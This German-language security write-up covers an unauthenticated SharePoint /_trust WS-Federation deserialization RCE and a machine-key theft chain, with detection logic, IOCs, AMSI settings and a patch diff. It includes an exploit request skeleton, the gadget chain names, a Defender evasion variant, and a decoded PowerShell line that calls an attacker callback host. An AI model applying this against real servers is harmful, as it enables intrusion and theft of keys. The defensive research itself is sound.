
PoC, IOCs, and detection logic for the SharePoint /_trust WS-Federation BinaryFormatter deserialization chain. Lab reconstruction covering unauthenticated RCE, in-process machine key theft, and the artifacts each variant leaves behind. SharePoint 2016, 2019, and Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.
/_trust WS-Federation-Deserialisierung: PoC- & ErkennungshinweiseLive-Dokumentation (GitHub Pages): https://sp-poc.wismansec.com/ (HTML-Darstellung dieses Dokuments).
Betroffen: SharePoint Server 2016, 2019 und Subscription Edition.
Rekonstruktion eines Eindringens in einen SharePoint Server (Subscription Edition) in einer isolierten Lab-Umgebung, erstellt, um (a) die vollständigen Angriffsmöglichkeiten zu verstehen, (b) zu ermitteln, wonach ein Verteidiger suchen sollte, einschließlich verdeckter Persistenz, und (c) einen PoC zu teilen, um andere Ermittler zu unterstützen.
Nur autorisierte Forschung. Alles hier wurde auf isolierter, persönlich besitzener Labor-Hardware und mit eigenen Konten durchgeführt, gegen einen Build, der für den Test bewusst ungepatcht gelassen wurde. Das zugrunde liegende Problem wird vom Hersteller behoben; installieren Sie die aktuellen Updates. Führen Sie dies nicht gegen Systeme aus, die Sie nicht besitzen und für die Sie keine ausdrückliche Testgenehmigung haben. Maschinenschlüssel-Werte, interne Hostnamen/IPs und Callback-Domains sind im Text und in den Beispiel-Artefakten geschwärzt. Die SIEM-Screenshots sind unverändert und tragen die echten Namen des Labors; siehe Hinweis in §4.
/_trust-SecurityContextToken-BinaryFormatter-DeserialisierungPOST /_trust/default.aspx (WS-Federation-Anmeldung) mit einem bösartigen SecurityContextToken löst im SharePoint-Workerprozess (w3wp.exe) eine BinaryFormatter-Deserialisierung aus und ermöglicht Remote-Codeausführung mit der Identität des Web-App-Pools./_trust erkennt und blockiert sie; siehe §5). Mit diesen Schlüsseln kann ein Angreifer __VIEWSTATE/Authentifizierungstokens fälschen, die das Patchen überstehen./_trust-Anforderungssignatur, die das einzige Artefakt ist, das in jeder Variante vorhanden ist.SharePoint stellt einen passiven WS-Federation-Anmeldeendpunkt unter /_trust/default.aspx bereit. Eine manipulierte Anmeldeantwort (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) bettet ein SecurityContextToken ein, dessen <Cookie>-Element ein base64-kodierter, DEFLATE-komprimierter BinaryFormatter-Stream ist. Serverseitig wird dieses Cookie dekomprimiert und ohne Typeinschränkung deserialisiert, sodass eine Gadget-Kette (über ysoserial.net) vom Angreifer kontrollierten Code in w3wp.exe ausführt.
Anforderungsskelett (nicht authentifiziert):
POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
<SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...
Skripte (bereinigt) in scripts/: eine parametrisierte OOB-RCE und der zweistufige Schlüssel-Dump. Die Payload-Zustellung verwendet PowerShell -EncodedCommand, sodass mehrzeilige Payloads die cmd.exe-/Transportebenen intakt überstehen (keine ;/&&-Quoting-Probleme).
Eine einzelne SharePoint-SE-Farm (Build auf Stand vor dem Fix fixiert), App-Pool-Identität LAB\sp_pool, PowerShell 5.1, Microsoft Defender mit Cloudschutz aktiviert. Telemetrie (Windows-Ereignisprotokoll, SharePoint-Protokolle, Defender for Endpoint) wurde an nano, ein leichtgewichtiges Open-Source-SIEM, übertragen; der Angreifer-Host lief mit ysoserial.net; ein interactsh-Client stellte den OOB-Listener bereit. Adressen und Domains sind im Text geschwärzt; siehe Screenshot-Hinweis in §4.
Jede Zeile ist eine echte Detonation; Artefakte stammen pro Lauf aus dem SIEM + OOB-Listener.
Screenshots sind unverändert. Sie tragen die echten Host- und NetBIOS-Namen des Labors, die grob sind und sich von den bereinigten
SHAREPOINT01/LABim gesamten Text unterscheiden. Gleiche Läufe, gleiche Ereignisse, nichts inszeniert. Arbeitssichere Äquivalente inartifacts/.
Diese Ergebnisse gelten für die Standard-AMSI-Konfiguration (Balanced-Modus, /_trust nicht gescannt). Mit aktivierter AMSI-Anforderungsbody-Prüfung für /_trust (Full-Modus oder gezielt) wird jede Zeile stattdessen auf der Anforderungsebene blockiert: HTTP 400, Exploit:Script/SpCookieExec.A, vor der Ausführung (siehe §5).

Alle vier dokumentierten Detonationen, 15:01 bis 15:18 UTC, jeder Kindprozess von w3wp.exe läuft mit der Pool-Identität. Drei der vier sind direkt erzeugte powershell.exe-Prozesse. Nur der Lauf um 15:03:34 geht durch cmd.exe, und nur dieser Lauf wurde erkannt. Erweitert man das Zeitfenster über diesen hinaus, gelangen frühere Entwicklungsiterationen vom selben Morgen in die Ergebnismenge, daher gilt die Aussage nur für diese vier Läufe.

Standard-Aufruf: w3wp.exe → cmd.exe → powershell.exe, mit conhost.exe daneben. Dies ist die Form, auf die Behavior:Win32/WebshellLauncher.A anspricht.

-RawCmd-Aufruf, gleiche Primitive und gleiche Payload, ohne den cmd.exe-Zwischenschritt. Defender erzeugte für diesen Lauf nichts. Eine auf w3wp → cmd basierende Erkennung übersieht ihn vollständig.

Jedes Defender-Ereignis im selben 25-Minuten-Fenster, das vier Detonationen enthielt. Alle drei gehören zu dem einzigen cmd.exe-Lauf: zwei malware_detected mit „Severe“, dann malware_action_taken mit Aktion Remove. Die Bereinigung schlug den Beacon nicht, der zuerst abgeschlossen war.
Wörtlich aus Security 4688 wiederhergestellte Befehlszeile (Kodierung ≠ Umgehung):
"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
→ decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

Die kodierte Befehlszeile, wie sie im SIEM erscheint. Sie ist base64 von UTF-16LE und sonst nichts; base64 -d | iconv -f utf-16le -t utf-8 stellt den Callback in einem Schritt wieder her. Kodierung ist keine Verschleierung.

Ungefiltert enthält das Fenster 20 Ereignisse. Der Host ist aktiv und überträgt Telemetrie.

Gefiltert auf Kindprozesse von w3wp.exe ist dasselbe Fenster leer. Kein Prozess, kein Defender-Ereignis, kein Beacon. Die Schlüssel gingen über die HTTP-Antwort ab, und das einzige hostseitige Artefakt war die /_trust-Anforderung selbst, die dieses SIEM nicht erfasste. Patchen widerruft gestohlene Schlüssel nicht; rotieren Sie sie.
-Diag-Offenlegung, am OOB-Listener erfasst (URL-dekodiert):
{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }
Die eine Signatur, die in jeder Variante vorhanden ist. Suchen Sie zuerst danach:
POST /_trust/default.aspx mit Body wa=wsignin1.0 und einem wresult, das RequestSecurityTokenResponse + SecurityContextToken/<Cookie> enthält. Nicht authentifiziert, oft mit anormalem User-Agent. Antwortstatus-Baseline: legitimer WS-Federation-Anmeldeverkehr zu diesem Endpunkt ist überwiegend HTTP 302; der Exploit liefert andere Status (200, 500, einen Verbindungsreset oder 400, wenn AMSI blockiert). Wenn der Endpunkt echtes Anmeldevolumen trägt, behandeln Sie eine Nicht-302-Antwort auf POST /_trust/default.aspx als anomal. Der Status allein bestätigt keinen Exploit-Erfolg; ein erfolgreicher Lauf lieferte sowohl 200 als auch einen Reset.Prozessbasiert (nur RCE-Varianten):
w3wp.exe, das direkt cmd.exe oder powershell.exe startet. Die -RawCmd-Variante entfernt den cmd.exe-Zwischenschritt und umgeht WebshellLauncher.A, also nicht ausschließlich auf w3wp→cmd setzen.powershell.exe -EncodedCommand unter w3wp: Dekodieren Sie den Blob direkt aus 4688 (er ist im Ruhezustand nicht verschleiert).w3wp.exe → whoami.exe (Aufklärung) oder Kindprozess conhost.exe.Zwei Erkenntnisse, die Entscheidungen zur Reaktion beeinflussen:
Behavior:Win32/WebshellLauncher.A erkannte und bereinigte, wurde in mindestens einer Ausführung beobachtet, dass der ausgehende Beacon vor Abschluss der Bereinigung vollständig war. Behandeln Sie eine solche Erkennung als möglichen erfolgreichen Callback und prüfen Sie DNS-, Proxy- und ausgehende Protokolle auf das Callback-Ziel um den Erkennungszeitpunkt.w3wp.exe und gibt die Schlüssel in der HTTP-Antwort zurück, daher ist der einzige hostseitige Beleg die POST /_trust/default.aspx-Anforderung und ihre Antwort. Ob sie erkannt wird, hängt von der AMSI-Anforderungsbody-Scan-Konfiguration ab.MITRE ATT&CK: T1190 (Ausnutzung einer öffentlich zugänglichen Anwendung) · T1059.001 (PowerShell) · T1552 (Ungesicherte Anmeldedaten: Maschinenschlüssel) · T1550 (Verwendung gefälschten Authentifizierungsmaterials, nach Diebstahl).
Beide Ketten liefern ihre Payload im Body der POST /_trust/default.aspx-Anforderung. Ob Microsoft Defender diese Payload untersucht, bestimmt die AMSI-Anforderungsbody-Scan-Konfiguration von SharePoint für die Webanwendung. Drei Konfigurationen wurden direkt gegen diese Farm getestet (SharePoint Server Subscription Edition, Microsoft Defender):
| AMSI-Anforderungsbody-Konfiguration | Ergebnis |
|---|---|
Balanced-Modus, /_trust/default.aspx nicht in der Zielendpunkt-Liste (Standard) | Anforderungsbody nicht gescannt; beide Ketten führen aus; keine Defender-Erkennung |
Balanced-Modus, /_trust/default.aspx als Zielendpunkt hinzugefügt |
In der Standardkonfiguration wird der Anforderungsbody nicht geprüft, sodass sowohl die RCE als auch die Maschinenschlüssel-Offenlegung abgeschlossen werden und keine AMSI-Erkennung erzeugen. In beiden Scan-Konfigurationen wird die Anforderung vor der Deserialisierung mit HTTP 400 abgelehnt, es wird kein Workerprozess erstellt, und Defender protokolliert:
| Feld | Wert |
|---|
Da die Anforderung blockiert wird, bevor irgendein Code läuft, wird kein Kindprozess erstellt und es werden für keine der beiden Ketten Security 4688-Prozesserstellungsereignisse erzeugt. Die RCE-Variante, die powershell.exe direkt startet (ohne zwischengeschaltetes cmd.exe), wird identisch blockiert.
Konfiguration (SharePoint Management Shell, pro Webanwendung):
$wa = Get-SPWebApplication https://<webapp>
$wa.AMSIBodyScanMode = 2 # Full: scan all endpoints
# or keep Balanced mode and scan this endpoint only:
$wa.AddAMSITargetedEndpoints('/_trust/default.aspx', 1)
$wa.Update(); iisreset
Set-SPMachineKey / web.config-machineKey aktualisieren + IISReset) auf jeder Farm, die möglicherweise erreicht wurde. Patchen stoppt die RCE, widerruft aber keine bereits gestohlenen Schlüssel; die Rotation entfernt die Fähigkeit des Angreifers, FedAuth / SecurityContextToken / __VIEWSTATE zur Persistenz zu fälschen.POST /_trust/default.aspx. Legitimer WS-Federation-Anmeldeverkehr zielt ebenfalls mit wa=wsignin1.0 auf diesen Endpunkt, daher kommt es auf die exploit-spezifische Struktur an, nicht nur auf den Endpunkt: ein wresult, dessen Token ein <SecurityContextToken> mit einem base64-<Cookie> ist (Namespace http://schemas.microsoft.com/ws/2006/05/security; legitime Anmeldung trägt stattdessen eine signierte SAML-Assertion), zusammen mit einer Nicht-302-Antwort (200/500/400 oder ein Reset) und einem skriptartigen/anomalen User-Agent. Der Schlüssel-Dump sendet zwei solcher POSTs in schneller Folge. Falls vorhanden, gehen Sie von einer Schlüsselkompromittierung aus.Die statische Analyse des Hersteller-Fixes bestätigt den Mechanismus und klärt, ob die RCE die gestohlenen Maschinenschlüssel benötigt: Sie tut es nicht. Methode: Binärer Patch-Diff von Microsoft.SharePoint.IdentityModel.dll zwischen dem Juni-CU (KB5002873, 16.0.19725.20384) und dem Juli-CU (KB5002882, 16.0.19725.20434); dekompiliert und verglichen, nur lesend.
Der ausgenutzte Lesepfad ist SPFederationAuthenticationModuleV2.OnAuthenticateRequest → SPSessionSecurityTokenHandlerV2 (eine Unterklasse von System.IdentityModel.Tokens.SessionSecurityTokenHandler). Die Änderung:
Interpretation. Die Transform-Kette vor dem Patch war nur Deflate, ohne Verschlüsselung und ohne einen auf dem Maschinenschlüssel basierenden MAC-/Signatur-Transform. Das Basis-ReadToken wendet die Transforms an und deserialisiert den Cookie-Wert, sodass ein gefälschtes Token ohne Validierungs-Gate des Maschinenschlüssels entfaltet und deserialisiert wird; die Gadget-Kette feuert ohne ValidationKey/DecryptionKey (schlüsselunabhängig). Der Fix entfernt die Senke (der Transform und ReadToken werfen), anstatt eine Signatur-/Entschlüsselungsprüfung hinzuzufügen, was bestätigt, dass es kein Schlüssel-Gate zu beheben gab.
Konsequenz. Die Offenlegung der Maschinenschlüssel ist ein separates Persistenzziel (Fälschen von FedAuth / SecurityContextToken / __VIEWSTATE), keine Voraussetzung für die RCE; der Schlüssel-Dump ist selbst eine RCE über denselben Pfad und läuft, bevor irgendein Schlüssel gestohlen wird.
Eine zweite, nicht damit zusammenhängende Härtung kommt im selben Juli-CU: JWT-Actor-Token-Signaturvalidierung in SPJsonWebSecurityTokenHandlerV2 (RequireSignedTokens false→true, neue VerifyActorTokenSignature), ein separater OAuth-/Server-zu-Server-Actor-Token-Pfad, nicht der hier behandelte WS-Federation-Session-Token-Pfad.
Anwenden des Fixes. Der Fix ist das Juli-CU (KB5002882): Es tauscht den reinen Deflate-Cookie-Transform gegen einen, der eine Ausnahme wirft, und entfernt so die Senke. Nach der Installation vergewissern Sie sich, dass keine Farm-Einstellung dies rückgängig macht oder umgeht. SessionCookieTransformProtectionEnabled auf false setzt das Session-Token-Cookie auf den verwundbaren reinen Deflate-Transform zurück (was RCE und Schlüssel-Dump wieder öffnet), und das Debug-Flag DisableActorTokenSignatureValidation öffnet den separaten JWT-Actor-Token-Signatur-Bypass, der im selben Update gehärtet wurde, wieder.
README.md – this document
scripts/ – sanitized PoC scripts (OOB RCE + machine-key dump)
detection/ – hunt queries / IOC list
artifacts/ – redacted example artifacts (process trees, Defender events, beacons)
LICENSE, DISCLAIMER.md
| Kette | Gadget | Wirkung | Ausgabekanal |
|---|
| OOB-RCE | TypeConfuseDelegate → -EncodedCommand-PowerShell | Codeausführung mit Identität des Anwendungspools | out-of-band (HTTP/DNS-Beacon) |
| Maschinenschlüssel-Offenlegung | ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (kompiliert KeyDump.cs prozessintern) | gibt ValidationKey/DecryptionKey aus | inline in der HTTP-Antwort |
| Aufruf | Prozessbaum (als LAB\sp_pool, High) | Defender | OOB-Beacon | Primäre Artefakte |
|---|
| OOB-RCE, Standard | w3wp.exe → cmd.exe → powershell.exe → conhost.exe | Behavior:Win32/WebshellLauncher.A (EID 1116 erkennen / 1117 Entfernen) | eingegangen (Wettlauf) | 4688-Baum; Defender 1116/1117; /_trust-POST |
OOB-RCE, -RawCmd | w3wp.exe → powershell.exe → conhost.exe (ohne cmd) | keine | eingegangen (DNS+HTTP) | 4688-Baum; /_trust-POST; Beacon |
OOB-RCE, -DropFile | w3wp.exe → powershell.exe | keine | eingegangen | Datei geschrieben nach …\TEMPLATE\LAYOUTS\ (nicht im objektzugriffsüberwachten Protokoll) |
OOB-RCE, -Diag | w3wp.exe → powershell.exe → whoami.exe | keine | eingegangen | Umgebungs-Offenlegung exfiltriert: {host, whoami, PSver, LanguageMode} |
| Maschinenschlüssel-Dump | (keine, prozessintern) | keine | (keine) | nur der /_trust-POST + anomale Antwort mit den Schlüsseln |
| Anforderungsbody gescannt; Anforderung blockiert |
| Full-Modus (alle Endpunkte gescannt) | Anforderungsbody gescannt; Anforderung blockiert |
| Bedrohung | Exploit:Script/SpCookieExec.A (ID 2147969862) |
| Schweregrad / Kategorie | Severe / Exploit |
| Erkennungsquelle | AMSI |
| Aktion | Quarantäne |
| Prozess | C:\Windows\System32\inetsrv\w3wp.exe |
__VIEWSTATE / anomale Authentifizierung nach dem Datum des ersten Auftretens./_trust (Full-Modus oder /_trust/default.aspx als Balanced-Zielendpunkt hinzufügen; siehe §5). Dies blockiert sowohl die RCE als auch den Schlüssel-Dump auf der Anforderungsebene, vor der Ausführung.| Juni (verwundbar) | Juli (behoben) |
|---|
| Cookie-Transform-Kette | s_Transforms = { new DeflateCookieTransform() } (nur Deflate) | s_Transforms = { new NotSupportedCookieTransform() } (Decode/Encode werfen) |
ReadToken-Überschreibungen | keine (erbt Basis-ReadToken) | ReadToken(XmlReader, SecurityTokenResolver), ReadToken(XmlReader), ReadToken(string) werfen alle NotSupportedException |